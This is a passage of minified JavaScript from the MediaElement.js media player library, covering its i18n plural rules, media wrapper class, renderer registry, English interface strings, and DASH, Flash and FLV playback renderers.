0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:(arguments.length<=0?void 0:arguments[0])%10==2?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 11!==(arguments.length<=0?void 0:arguments[0])&&(arguments.length<=0?void 0:arguments[0])%10==1?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2<=(arguments.length<=0?void 0:arguments[0])%10&&(arguments.length<=0?void 0:arguments[0])%10<=4&&((arguments.length<=0?void 0:arguments[0])%100<10||20<=(arguments.length<=0?void 0:arguments[0])%100)?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:8!==(arguments.length<=0?void 0:arguments[0])&&11!==(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:arguments.length<=2?void 0:arguments[2]},function(){return 1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:2===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:3===(arguments.length<=0?void 0:arguments[0])?arguments.length<=3?void 0:arguments[3]:arguments.length<=4?void 0:arguments[4]},function(){return 0===(arguments.length<=0?void 0:arguments[0])?arguments.length<=1?void 0:arguments[1]:1===(arguments.length<=0?void 0:arguments[0])?arguments.length<=2?void 0:arguments[2]:arguments.length<=3?void 0:arguments[3]}][n].apply(null,[t].concat(e))};return void 0!==d[a]&&(n=d[a][e],null!==t&&"number"==typeof t&&(r=d[a]["mejs.plural-form"],n=i.apply(null,[n,t,r]))),!n&&d.en&&(n=d.en[e],null!==t&&"number"==typeof t&&(r=d.en["mejs.plural-form"],n=i.apply(null,[n,t,r]))),n=n||e,null!==t&&"number"==typeof t&&(n=n.replace("%1",t)),(0,s.escapeHTML)(n)}return e}};i.default.i18n=d,"undefined"!=typeof mejsL10n&&i.default.i18n.language(mejsL10n.language,mejsL10n.strings),n.default=d},{18:18,7:7,9:9}],6:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var L="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},O=r(e(3)),C=r(e(2)),I=r(e(7)),k=e(18),U=e(19),M=e(8),R=e(16);function r(e){return e&&e.__esModule?e:{default:e}}var a=function e(t,n,r){var c=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);var f=this;r=Array.isArray(r)?r:null,f.defaults={renderers:[],fakeNodeName:"mediaelementwrapper",pluginPath:"build/",shimScriptAccess:"sameDomain"},n=Object.assign(f.defaults,n),f.mediaElement=C.default.createElement(n.fakeNodeName);var a=t,i=!1;if("string"==typeof t?f.mediaElement.originalNode=C.default.getElementById(t):a=(f.mediaElement.originalNode=t).id,void 0===f.mediaElement.originalNode||null===f.mediaElement.originalNode)return null;f.mediaElement.options=n,a=a||"mejs_"+Math.random().toString().slice(2),f.mediaElement.originalNode.setAttribute("id",a+"_from_mejs");var o=f.mediaElement.originalNode.tagName.toLowerCase();-1<["video","audio"].indexOf(o)&&!f.mediaElement.originalNode.getAttribute("preload")&&f.mediaElement.originalNode.setAttribute("preload","none"),f.mediaElement.originalNode.parentNode.insertBefore(f.mediaElement,f.mediaElement.originalNode),f.mediaElement.appendChild(f.mediaElement.originalNode);var l=function(t,e){if("https:"===O.default.location.protocol&&0===t.indexOf("http:")&&R.IS_IOS&&-1<I.default.html5media.mediaTypes.indexOf(e)){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(4===this.readyState&&200===this.status){var e=(O.default.URL||O.default.webkitURL).createObjectURL(this.response);return f.mediaElement.originalNode.setAttribute("src",e),e}return t},n.open("GET",t),n.responseType="blob",n.send()}return t},s=void 0;if(null!==r)s=r;else if(null!==f.mediaElement.originalNode)switch(s=[],f.mediaElement.originalNode.nodeName.toLowerCase()){case"iframe":s.push({type:"",src:f.mediaElement.originalNode.getAttribute("src")});break;case"audio":case"video":var d=f.mediaElement.originalNode.children.length,u=f.mediaElement.originalNode.getAttribute("src");if(u){var m=f.mediaElement.originalNode,p=(0,U.formatType)(u,m.getAttribute("type"));s.push({type:p,src:l(u,p)})}for(var h=0;h<d;h++){var v=f.mediaElement.originalNode.children[h];if("source"===v.tagName.toLowerCase()){var g=v.getAttribute("src"),y=(0,U.formatType)(g,v.getAttribute("type"));s.push({type:y,src:l(g,y)})}}}f.mediaElement.id=a,f.mediaElement.renderers={},f.mediaElement.events={},f.mediaElement.promises=[],f.mediaElement.renderer=null,f.mediaElement.rendererName=null,f.mediaElement.changeRenderer=function(e,t){var n=c,r=2<Object.keys(t[0]).length?t[0]:t[0].src;if(void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&n.mediaElement.renderer.name===e)return n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.show(),n.mediaElement.renderer.setSrc(r),!0;void 0!==n.mediaElement.renderer&&null!==n.mediaElement.renderer&&(n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.hide());var a=n.mediaElement.renderers[e],i=null;if(null!=a)return a.show(),a.setSrc(r),n.mediaElement.renderer=a,n.mediaElement.rendererName=e,!0;for(var o=n.mediaElement.options.renderers.length?n.mediaElement.options.renderers:M.renderer.order,l=0,s=o.length;l<s;l++){var d=o[l];if(d===e){i=M.renderer.renderers[d];var u=Object.assign(i.options,n.mediaElement.options);return(a=i.create(n.mediaElement,u,t)).name=e,n.mediaElement.renderers[i.name]=a,n.mediaElement.renderer=a,n.mediaElement.rendererName=e,a.show(),!0}}return!1},f.mediaElement.setSize=function(e,t){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&f.mediaElement.renderer.setSize(e,t)},f.mediaElement.generateError=function(e,t){e=e||"",t=Array.isArray(t)?t:[];var n=(0,k.createEvent)("error",f.mediaElement);n.message=e,n.urls=t,f.mediaElement.dispatchEvent(n),i=!0};var E=I.default.html5media.properties,b=I.default.html5media.methods,w=function(t,e,n,r){var a=t[e];Object.defineProperty(t,e,{get:function(){return n.apply(t,[a])},set:function(e){return a=r.apply(t,[e])}})},_=function(e){if("src"!==e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1),n=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["get"+t]?f.mediaElement.renderer["get"+t]():null},r=function(e){void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer["set"+t]&&f.mediaElement.renderer["set"+t](e)};w(f.mediaElement,e,n,r),f.mediaElement["get"+t]=n,f.mediaElement["set"+t]=r}},S=function(){return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer?f.mediaElement.renderer.getSrc():null},N=function(e){var t=[];if("string"==typeof e)t.push({src:e,type:e?(0,U.getTypeFromFile)(e):""});else if("object"===(void 0===e?"undefined":L(e))&&void 0!==e.src){var n=(0,U.absolutizeUrl)(e.src),r=e.type,a=Object.assign(e,{src:n,type:""!==r&&null!=r||!n?r:(0,U.getTypeFromFile)(n)});t.push(a)}else if(Array.isArray(e))for(var i=0,o=e.length;i<o;i++){var l=(0,U.absolutizeUrl)(e[i].src),s=e[i].type,d=Object.assign(e[i],{src:l,type:""!==s&&null!=s||!l?s:(0,U.getTypeFromFile)(l)});t.push(d)}var u=M.renderer.select(t,f.mediaElement.options.renderers.length?f.mediaElement.options.renderers:[]),c=void 0;if(f.mediaElement.paused||null==f.mediaElement.src||""===f.mediaElement.src||(f.mediaElement.pause(),c=(0,k.createEvent)("pause",f.mediaElement),f.mediaElement.dispatchEvent(c)),f.mediaElement.originalNode.src=t[0].src||"",null!==u||!t[0].src)return!(null==t[0].src||""===t[0].src)?f.mediaElement.changeRenderer(u.rendererName,t):null;f.mediaElement.generateError("No renderer found",t)},j=function(e,t){try{if("play"!==e||"native_dash"!==f.mediaElement.rendererName&&"native_hls"!==f.mediaElement.rendererName&&"vimeo_iframe"!==f.mediaElement.rendererName)f.mediaElement.renderer[e](t);else{var n=f.mediaElement.renderer[e](t);n&&"function"==typeof n.then&&n.catch(function(){f.mediaElement.paused&&setTimeout(function(){var e=f.mediaElement.renderer.play();void 0!==e&&e.catch(function(){f.mediaElement.renderer.paused||f.mediaElement.renderer.pause()})},150)})}}catch(e){f.mediaElement.generateError(e,s)}},A=function(r){f.mediaElement[r]=function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return void 0!==f.mediaElement.renderer&&null!==f.mediaElement.renderer&&"function"==typeof f.mediaElement.renderer[r]&&(f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){j(r,t)}).catch(function(e){f.mediaElement.generateError(e,s)}):j(r,t)),null}};w(f.mediaElement,"src",S,N),f.mediaElement.getSrc=S,f.mediaElement.setSrc=N;for(var T=0,F=E.length;T<F;T++)_(E[T]);for(var P=0,x=b.length;P<x;P++)A(b[P]);return f.mediaElement.addEventListener=function(e,t){f.mediaElement.events[e]=f.mediaElement.events[e]||[],f.mediaElement.events[e].push(t)},f.mediaElement.removeEventListener=function(e,t){if(!e)return f.mediaElement.events={},!0;var n=f.mediaElement.events[e];if(!n)return!0;if(!t)return f.mediaElement.events[e]=[],!0;for(var r=0;r<n.length;r++)if(n[r]===t)return f.mediaElement.events[e].splice(r,1),!0;return!1},f.mediaElement.dispatchEvent=function(e){var t=f.mediaElement.events[e.type];if(t)for(var n=0;n<t.length;n++)t[n].apply(null,[e])},f.mediaElement.destroy=function(){var e=f.mediaElement.originalNode.cloneNode(!0),t=f.mediaElement.parentElement;e.removeAttribute("id"),e.remove(),f.mediaElement.remove(),t.appendChild(e)},s.length&&(f.mediaElement.src=s),f.mediaElement.promises.length?Promise.all(f.mediaElement.promises).then(function(){f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode)}).catch(function(){i&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)}):(f.mediaElement.options.success&&f.mediaElement.options.success(f.mediaElement,f.mediaElement.originalNode),i&&f.mediaElement.options.error&&f.mediaElement.options.error(f.mediaElement,f.mediaElement.originalNode)),f.mediaElement};O.default.MediaElement=a,I.default.MediaElement=a,n.default=a},{16:16,18:18,19:19,2:2,3:3,7:7,8:8}],7:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});var r,a=e(3);var i={version:"4.2.17",html5media:{properties:["volume","src","currentTime","muted","duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable","currentSrc","preload","bufferedBytes","bufferedTime","initialTime","startOffsetTime","defaultPlaybackRate","playbackRate","played","autoplay","loop","controls"],readOnlyProperties:["duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable"],methods:["load","play","pause","canPlayType"],events:["loadstart","durationchange","loadedmetadata","loadeddata","progress","canplay","canplaythrough","suspend","abort","error","emptied","stalled","play","playing","pause","waiting","seeking","seeked","timeupdate","ended","ratechange","volumechange"],mediaTypes:["audio/mp3","audio/ogg","audio/oga","audio/wav","audio/x-wav","audio/wave","audio/x-pn-wav","audio/mpeg","audio/mp4","video/mp4","video/webm","video/ogg","video/ogv"]}};((r=a)&&r.__esModule?r:{default:r}).default.mejs=i,n.default=i},{3:3}],8:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.renderer=void 0;var r,a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=function(){function r(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(e,t,n){return t&&r(e.prototype,t),n&&r(e,n),e}}(),o=e(7),l=(r=o)&&r.__esModule?r:{default:r};var s=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.renderers={},this.order=[]}return i(e,[{key:"add",value:function(e){if(void 0===e.name)throw new TypeError("renderer must contain at least `name` property");this.renderers[e.name]=e,this.order.push(e.name)}},{key:"select",value:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:[],n=t.length;if(t=t.length?t:this.order,!n){var r=[/^(html5|native)/i,/^flash/i,/iframe$/i],a=function(e){for(var t=0,n=r.length;t<n;t++)if(r[t].test(e))return t;return r.length};t.sort(function(e,t){return a(e)-a(t)})}for(var i=0,o=t.length;i<o;i++){var l=t[i],s=this.renderers[l];if(null!=s)for(var d=0,u=e.length;d<u;d++)if("function"==typeof s.canPlayType&&"string"==typeof e[d].type&&s.canPlayType(e[d].type))return{rendererName:s.name,src:e[d].src}}return null}},{key:"order",set:function(e){if(!Array.isArray(e))throw new TypeError("order must be an array of strings.");this._order=e},get:function(){return this._order}},{key:"renderers",set:function(e){if(null!==e&&"object"!==(void 0===e?"undefined":a(e)))throw new TypeError("renderers must be an array of objects.");this._renderers=e},get:function(){return this._renderers}}]),e}(),d=n.renderer=new s;l.default.Renderers=d},{7:7}],9:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}},{}],10:[function(e,t,n){"use strict";var b="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},w=o(e(3)),_=o(e(7)),S=e(8),N=e(18),r=e(19),a=e(16),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var j={promise:null,load:function(e){return"undefined"!=typeof dashjs?j.promise=new Promise(function(e){e()}).then(function(){j._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.dashjs.org/latest/dash.all.min.js",j.promise=j.promise||(0,i.loadScript)(e.options.path),j.promise.then(function(){j._createPlayer(e)})),j.promise},_createPlayer:function(e){var t=dashjs.MediaPlayer().create();return w.default["__ready__"+e.id](t),t}},l={name:"native_dash",options:{prefix:"native_dash",dash:{path:"https://cdn.dashjs.org/latest/dash.all.min.js",debug:!1,drm:{},robustnessLevel:""}},canPlayType:function(e){return a.HAS_MSE&&-1<["application/dash+xml"].indexOf(e.toLowerCase())},create:function(l,s,e){var t=l.originalNode,i=l.id+"_"+s.prefix,o=t.autoplay,n=t.children,d=null,u=null;t.removeAttribute("type");for(var r=0,a=n.length;r<a;r++)n[r].removeAttribute("type");d=t.cloneNode(!0),s=Object.assign(s,l.options);for(var c=_.default.html5media.properties,f=_.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),m=function(e){var t=(0,N.createEvent)(e.type,l);l.dispatchEvent(t)},p=function(a){var e=""+a.substring(0,1).toUpperCase()+a.substring(1);d["get"+e]=function(){return null!==u?d[a]:null},d["set"+e]=function(e){if(-1===_.default.html5media.readOnlyProperties.indexOf(a))if("src"===a){var t="object"===(void 0===e?"undefined":b(e))&&e.src?e.src:e;if(d[a]=t,null!==u){u.reset();for(var n=0,r=f.length;n<r;n++)d.removeEventListener(f[n],m);u=j._createPlayer({options:s.dash,id:i}),e&&"object"===(void 0===e?"undefined":b(e))&&"object"===b(e.drm)&&(u.setProtectionData(e.drm),(0,N.isString)(s.dash.robustnessLevel)&&s.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(s.dash.robustnessLevel)),u.attachSource(t),o&&u.play()}}else d[a]=e}},h=0,v=c.length;h<v;h++)p(c[h]);if(w.default["__ready__"+i]=function(e){l.dashPlayer=u=e;for(var t,n=dashjs.MediaPlayer.events,r=0,a=f.length;r<a;r++)"loadedmetadata"===(t=f[r])&&(u.initialize(),u.attachView(d),u.setAutoPlay(!1),"object"!==b(s.dash.drm)||_.default.Utils.isObjectEmpty(s.dash.drm)||(u.setProtectionData(s.dash.drm),(0,N.isString)(s.dash.robustnessLevel)&&s.dash.robustnessLevel&&u.getProtectionController().setRobustnessLevel(s.dash.robustnessLevel)),u.attachSource(d.getSrc())),d.addEventListener(t,m);var i=function(e){if("error"===e.type.toLowerCase())l.generateError(e.message,d.src),console.error(e);else{var t=(0,N.createEvent)(e.type,l);t.data=e,l.dispatchEvent(t)}};for(var o in n)n.hasOwnProperty(o)&&u.on(n[o],function(e){return i(e)})},e&&0<e.length)for(var g=0,y=e.length;g<y;g++)if(S.renderer.renderers[s.prefix].canPlayType(e[g].type)){d.setAttribute("src",e[g].src),void 0!==e[g].drm&&(s.dash.drm=e[g].drm);break}d.setAttribute("id",i),t.parentNode.insertBefore(d,t),t.autoplay=!1,t.style.display="none",d.setSize=function(e,t){return d.style.width=e+"px",d.style.height=t+"px",d},d.hide=function(){return d.pause(),d.style.display="none",d},d.show=function(){return d.style.display="",d},d.destroy=function(){null!==u&&u.reset()};var E=(0,N.createEvent)("rendererready",d);return l.dispatchEvent(E),l.promises.push(j.load({options:s.dash,id:i})),d}};r.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".mpd")?"application/dash+xml":null}),S.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],11:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.PluginDetector=void 0;var d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},A=r(e(3)),T=r(e(2)),F=r(e(7)),P=r(e(5)),x=e(8),L=e(18),O=e(16),C=e(19);function r(e){return e&&e.__esModule?e:{default:e}}var i=n.PluginDetector={plugins:[],hasPluginVersion:function(e,t){var n=i.plugins[e];return t[1]=t[1]||0,t[2]=t[2]||0,n[0]>t[0]||n[0]===t[0]&&n[1]>t[1]||n[0]===t[0]&&n[1]===t[1]&&n[2]>=t[2]},addPlugin:function(e,t,n,r,a){i.plugins[e]=i.detectPlugin(t,n,r,a)},detectPlugin:function(e,t,n,r){var a=[0,0,0],i=void 0,o=void 0;if(null!==O.NAV.plugins&&void 0!==O.NAV.plugins&&"object"===d(O.NAV.plugins[e])){if((i=O.NAV.plugins[e].description)&&(void 0===O.NAV.mimeTypes||!O.NAV.mimeTypes[t]||O.NAV.mimeTypes[t].enabledPlugin))for(var l=0,s=(a=i.replace(e,"").replace(/^\s+/,"").replace(/\sr/gi,".").split(".")).length;l<s;l++)a[l]=parseInt(a[l].match(/\d+/),10)}else if(void 0!==A.default.ActiveXObject)try{(o=new ActiveXObject(n))&&(a=r(o))}catch(e){}return a}};i.addPlugin("flash","Shockwave Flash","application/x-shockwave-flash","ShockwaveFlash.ShockwaveFlash",function(e){var t=[],n=e.GetVariable("$version");return n&&(n=n.split(" ")[1].split(","),t=[parseInt(n[0],10),parseInt(n[1],10),parseInt(n[2],10)]),t});var a={create:function(e,t,n){var i={},r=!1;i.options=t,i.id=e.id+"_"+i.options.prefix,i.mediaElement=e,i.flashState={},i.flashApi=null,i.flashApiStack=[];for(var a=F.default.html5media.properties,o=function(t){i.flashState[t]=null;var e=""+t.substring(0,1).toUpperCase()+t.substring(1);i["get"+e]=function(){if(null!==i.flashApi){if("function"==typeof i.flashApi["get_"+t]){var e=i.flashApi["get_"+t]();return"buffered"===t?{start:function(){return 0},end:function(){return e},length:1}:e}return null}return null},i["set"+e]=function(e){if("src"===t&&(e=(0,C.absolutizeUrl)(e)),null!==i.flashApi&&void 0!==i.flashApi["set_"+t])try{i.flashApi["set_"+t](e)}catch(e){}else i.flashApiStack.push({type:"set",propName:t,value:e})}},l=0,s=a.length;l<s;l++)o(a[l]);var d=F.default.html5media.methods,u=function(e){i[e]=function(){if(r)if(null!==i.flashApi){if(i.flashApi["fire_"+e])try{i.flashApi["fire_"+e]()}catch(e){}}else i.flashApiStack.push({type:"call",methodName:e})}};d.push("stop");for(var c=0,f=d.length;c<f;c++)u(d[c]);for(var m=["rendererready"],p=0,h=m.length;p<h;p++){var v=(0,L.createEvent)(m[p],i);e.dispatchEvent(v)}A.default["__ready__"+i.id]=function(){if(i.flashReady=!0,i.flashApi=T.default.getElementById("__"+i.id),i.flashApiStack.length)for(var e=0,t=i.flashApiStack.length;e<t;e++){var n=i.flashApiStack[e];if("set"===n.type){var r=n.propName,a=""+r.substring(0,1).toUpperCase()+r.substring(1);i["set"+a](n.value)}else"call"===n.type&&i[n.methodName]()}},A.default["__event__"+i.id]=function(e,t){var n=(0,L.createEvent)(e,i);if(t)try{n.data=JSON.parse(t),n.details.data=JSON.parse(t)}catch(e){n.message=t}i.mediaElement.dispatchEvent(n)},i.flashWrapper=T.default.createElement("div"),-1===["always","sameDomain"].indexOf(i.options.shimScriptAccess)&&(i.options.shimScriptAccess="sameDomain");var g=e.originalNode.autoplay,y=["uid="+i.id,"autoplay="+g,"allowScriptAccess="+i.options.shimScriptAccess,"preload="+(e.originalNode.getAttribute("preload")||"")],E=null!==e.originalNode&&"video"===e.originalNode.tagName.toLowerCase(),b=E?e.originalNode.height:1,w=E?e.originalNode.width:1;e.originalNode.getAttribute("src")&&y.push("src="+e.originalNode.getAttribute("src")),!0===i.options.enablePseudoStreaming&&(y.push("pseudostreamstart="+i.options.pseudoStreamingStartQueryParam),y.push("pseudostreamtype="+i.options.pseudoStreamingType)),i.options.streamDelimiter&&y.push("streamdelimiter="+encodeURIComponent(i.options.streamDelimiter)),i.options.proxyType&&y.push("proxytype="+i.options.proxyType),e.appendChild(i.flashWrapper),e.originalNode.style.display="none";var _=[];if(O.IS_IE||O.IS_EDGE){var S=T.default.createElement("div");i.flashWrapper.appendChild(S),_=O.IS_EDGE?['type="application/x-shockwave-flash"','data="'+i.options.pluginPath+i.options.filename+'"','id="__'+i.id+'"','width="'+w+'"','height="'+b+"'\""]:['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"','codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"','id="__'+i.id+'"','width="'+w+'"','height="'+b+'"'],E||_.push('style="clip: rect(0 0 0 0); position: absolute;"'),S.outerHTML="<object "+_.join(" ")+'><param name="movie" value="'+i.options.pluginPath+i.options.filename+"?x="+new Date+'" /><param name="flashvars" value="'+y.join("&")+'" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="wmode" value="transparent" /><param name="allowScriptAccess" value="'+i.options.shimScriptAccess+'" /><param name="allowFullScreen" value="true" /><div>'+P.default.t("mejs.install-flash")+"</div></object>"}else _=['id="__'+i.id+'"','name="__'+i.id+'"','play="true"','loop="false"','quality="high"','bgcolor="#000000"','wmode="transparent"','allowScriptAccess="'+i.options.shimScriptAccess+'"','allowFullScreen="true"','type="application/x-shockwave-flash"','pluginspage="//www.macromedia.com/go/getflashplayer"','src="'+i.options.pluginPath+i.options.filename+'"','flashvars="'+y.join("&")+'"'],E?(_.push('width="'+w+'"'),_.push('height="'+b+'"')):_.push('style="position: fixed; left: -9999em; top: -9999em;"'),i.flashWrapper.innerHTML="<embed "+_.join(" ")+">";if(i.flashNode=i.flashWrapper.lastChild,i.hide=function(){r=!1,E&&(i.flashNode.style.display="none")},i.show=function(){r=!0,E&&(i.flashNode.style.display="")},i.setSize=function(e,t){i.flashNode.style.width=e+"px",i.flashNode.style.height=t+"px",null!==i.flashApi&&"function"==typeof i.flashApi.fire_setSize&&i.flashApi.fire_setSize(e,t)},i.destroy=function(){i.flashNode.remove()},n&&0<n.length)for(var N=0,j=n.length;N<j;N++)if(x.renderer.renderers[t.prefix].canPlayType(n[N].type)){i.setSrc(n[N].src);break}return i}};if(i.hasPluginVersion("flash",[10,0,0])){C.typeChecks.push(function(e){return(e=e.toLowerCase()).startsWith("rtmp")?~e.indexOf(".mp3")?"audio/rtmp":"video/rtmp":/\.og(a|g)/i.test(e)?"audio/ogg":~e.indexOf(".m3u8")?"application/x-mpegURL":~e.indexOf(".mpd")?"application/dash+xml":~e.indexOf(".flv")?"video/flv":null});var o={name:"flash_video",options:{prefix:"flash_video",filename:"mediaelement-flash-video.swf",enablePseudoStreaming:!1,pseudoStreamingStartQueryParam:"start",pseudoStreamingType:"byte",proxyType:"",streamDelimiter:""},canPlayType:function(e){return~["video/mp4","video/rtmp","audio/rtmp","rtmp/mp4","audio/mp4","video/flv","video/x-flv"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(o);var l={name:"flash_hls",options:{prefix:"flash_hls",filename:"mediaelement-flash-video-hls.swf"},canPlayType:function(e){return~["application/x-mpegurl","application/vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(l);var s={name:"flash_dash",options:{prefix:"flash_dash",filename:"mediaelement-flash-video-mdash.swf"},canPlayType:function(e){return~["application/dash+xml"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(s);var u={name:"flash_audio",options:{prefix:"flash_audio",filename:"mediaelement-flash-audio.swf"},canPlayType:function(e){return~["audio/mp3"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(u);var c={name:"flash_audio_ogg",options:{prefix:"flash_audio_ogg",filename:"mediaelement-flash-audio-ogg.swf"},canPlayType:function(e){return~["audio/ogg","audio/oga","audio/ogv"].indexOf(e.toLowerCase())},create:a.create};x.renderer.add(c)}},{16:16,18:18,19:19,2:2,3:3,5:5,7:7,8:8}],12:[function(e,t,n){"use strict";var y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},E=o(e(3)),b=o(e(7)),w=e(8),_=e(18),r=e(16),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var S={promise:null,load:function(e){return"undefined"!=typeof flvjs?S.promise=new Promise(function(e){e()}).then(function(){S._createPlayer(e)}):(e.options.path="string"==typeof e.options.path?e.options.path:"https://cdn.jsdelivr.net/npm/flv.js@latest",S.promise=S.promise||(0,i.loadScript)(e.options.path),S.promise.then(function(){S._createPlayer(e)})),S.promise},_createPlayer:function(e){flvjs.LoggingControl.enableDebug=e.options.debug,flvjs.LoggingControl.enableVerbose=e.options.debug;var t=flvjs.createPlayer(e.options,e.configs);return E.default["__ready__"+e.id](t),t}},l={name:"native_flv",options:{prefix:"native_flv",flv:{path:"https://cdn.jsdelivr.net/npm/flv.js@latest",cors:!0,debug:!1}},canPlayType:function(e){return r.HAS_MSE&&-1<["video/x-flv","video/flv"].indexOf(e.toLowerCase())},create:function(l,o,e){var t=l.originalNode,s=l.id+"_"+o.prefix,d=null,u=null;d=t.cloneNode(!0),o=Object.assign(o,l.options);for(var n=b.default.html5media.properties,c=b.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=function(e){var t=(0,_.createEvent)(e.type,l);l.dispatchEvent(t)},r=function(i){var 